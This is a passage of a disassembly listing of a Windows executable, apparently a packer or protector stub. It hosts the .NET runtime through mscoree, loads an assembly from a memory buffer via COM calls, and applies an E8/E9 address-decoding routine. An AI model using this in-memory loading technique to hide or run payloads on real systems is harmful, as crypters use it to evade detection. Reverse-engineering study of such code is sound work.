; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi ; LoadLibraryA mov esi, ds:dword_43423C push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi ; GetProcAddress push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi ; GetProcAddress push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi ; LoadLibraryA push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi ; GetProcAddress push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi ; LoadLibraryA mov edi, eax push 19Bh push edi call esi ; GetProcAddress push 17h push edi mov [ebp+var_20], eax call esi ; GetProcAddress push 18h push edi mov [ebp+var_24], eax call esi ; GetProcAddress push 8 push edi mov [ebp+var_2C], eax call esi ; GetProcAddress push 10h push edi mov [ebp+var_30], eax call esi ; GetProcAddress cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_43564F cmp [ebp+var_38], ebx jz loc_43564F cmp [ebp+var_1C], ebx jz loc_43564F cmp [ebp+var_20], ebx jz loc_43564F cmp [ebp+var_24], ebx jz loc_43564F cmp [ebp+var_2C], ebx jz loc_43564F cmp [ebp+var_30], ebx jz loc_43564F cmp eax, ebx jz loc_43564F push ebx call [ebp+var_18] test eax, eax jl loc_43564F lea eax, [ebp+var_4] push eax push offset loc_434338 push (offset loc_434345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_43564F mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_43564F mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_435652 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_434150 push eax call dword ptr [ecx] test eax, eax jl loc_43564F push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_43564F lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_4355A8 mov eax, [ebp+var_8] cmp eax, ebx jz short loc_435592 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435592: ; CODE XREF: sub_435421+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_435635 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_435635 ; --------------------------------------------------------------------------- loc_4355A8: ; CODE XREF: sub_435421+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_435620 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_435620 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_435620: ; CODE XREF: sub_435421+1B9j ; sub_435421+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_43562D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43562D: ; CODE XREF: sub_435421+204j lea ecx, [ebp+var_4] call sub_435695 loc_435635: ; CODE XREF: sub_435421+176j ; sub_435421+182j lea ecx, [ebp+var_C] call sub_435695 lea ecx, [ebp+var_10] call sub_435695 lea ecx, [ebp+var_14] call sub_435695 jmp short loc_435690 ; --------------------------------------------------------------------------- loc_43564F: ; CODE XREF: sub_435421+91j ; sub_435421+9Aj ... mov eax, [ebp+var_8] loc_435652: ; CODE XREF: sub_435421+125j cmp eax, ebx jz short loc_43565C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43565C: ; CODE XREF: sub_435421+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_435669 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435669: ; CODE XREF: sub_435421+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_435676 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435676: ; CODE XREF: sub_435421+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_435683 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435683: ; CODE XREF: sub_435421+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_435690 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435690: ; CODE XREF: sub_435421+22Cj ; sub_435421+267j pop edi pop esi pop ebx leave retn sub_435421 endp ; =============== S U B R O U T I N E ======================================= sub_435695 proc near ; CODE XREF: sub_435421+20Fp ; sub_435421+217p ... mov eax, [ecx] test eax, eax jz short locret_4356A1 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_4356A1: ; CODE XREF: sub_435695+4j retn sub_435695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4356A2 proc near ; CODE XREF: sub_434960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_4356F2: ; CODE XREF: sub_4356A2+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_435708 cmp cl, 0E9h jz short loc_435708 inc eax jmp loc_43580E ; --------------------------------------------------------------------------- loc_435708: ; CODE XREF: sub_4356A2+59j ; sub_4356A2+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_435722 and dword ptr [esi], 0 jmp short loc_435732 ; --------------------------------------------------------------------------- loc_435722: ; CODE XREF: sub_4356A2+79j test ecx, ecx jbe short loc_435732 loc_435726: ; CODE XREF: sub_4356A2+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_435726 loc_435732: ; CODE XREF: sub_4356A2+7Ej ; sub_4356A2+82j mov dl, [eax+edi+4] test dl, dl jz short loc_435743 cmp dl, 0FFh jnz loc_4357FA loc_435743: ; CODE XREF: sub_4356A2+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_4357FA and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_4357FA xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_435784: ; CODE XREF: sub_4356A2+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_4357CC mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_4357B4 cmp dl, 0FFh jnz short loc_4357C9 loc_4357B4: ; CODE XREF: sub_4356A2+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_435784 ; --------------------------------------------------------------------------- loc_4357C9: ; CODE XREF: sub_4356A2+110j mov edi, [ebp+arg_0] loc_4357CC: ; CODE XREF: sub_4356A2+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_43580E ; --------------------------------------------------------------------------- loc_4357FA: ; CODE XREF: sub_4356A2+9Bj ; sub_4356A2+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_435809 cmp dl, 0FFh jnz short loc_43580E loc_435809: ; CODE XREF: sub_4356A2+160j or ecx, 10h mov [esi], ecx loc_43580E: ; CODE XREF: sub_4356A2+61j ; sub_4356A2+156j ... cmp eax, [ebp+var_4] jbe loc_4356F2 pop edi pop esi pop ebx leave retn sub_4356A2 endp ; --------------------------------------------------------------------------- align 10h off_435820 dd offset dword_421000 ; DATA XREF: start+255w start+269r ... dword_435824 dd 8A2400h ; DATA XREF: start+22Cw start+232r ... dword_435828 dd 12190h ; DATA XREF: start+242w start+2EAw ... dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dword_43585C dd 0D4h, 20000h, 12190h, 200h, 21000h, 20000h, 34A39h ; DATA XREF: .ex_cod:off_434024o dd 400000h, 10Fh, 204ABh, 0 dd 1, 7 dup(0) TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 dd 1, 0 dd 12800h, 4, 1, 200h, 0DC00h, 1000h, 15FE7h, 0E0000060h dd 1, 200h, 800h, 17000h, 0E4Ch, 0E0000060h, 1, 200h, 3800h dd 18000h, 7098h, 0E0000060h, 1, 200h, 800h, 20000h, 632h dd 0E0000060h, 3 dup(0) _ex_cod ends ; Section 4. (virtual address 00036000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00035A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 436000h dd 80h dup(0) align 1000h _idata2 ends end start